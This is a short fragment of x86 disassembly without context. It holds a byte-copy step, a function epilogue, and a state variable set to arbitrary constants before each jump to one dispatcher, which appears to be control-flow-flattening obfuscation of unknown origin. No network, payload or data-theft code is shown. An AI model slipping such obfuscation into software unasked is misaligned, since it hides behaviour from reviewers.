mov edx, dword [ebp - 0x98]
mov bl, byte [edx + ecx]
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x9c]
mov byte [edx + ecx], bl
mov ecx, dword [ebp - 0xa4]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xcc], 0x51ad674d
jmp 0x4082d9
mov dword [ebp - 0xcc], 0x426082af
jmp 0x4082d9
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xcc], 0xb9a69d3e
jmp 0x4082d9
mov eax, dword [ebp - 0x6c]
add esp, 0x274
pop esi
pop edi
pop ebx
pop ebp
ret
jmp 0x406e26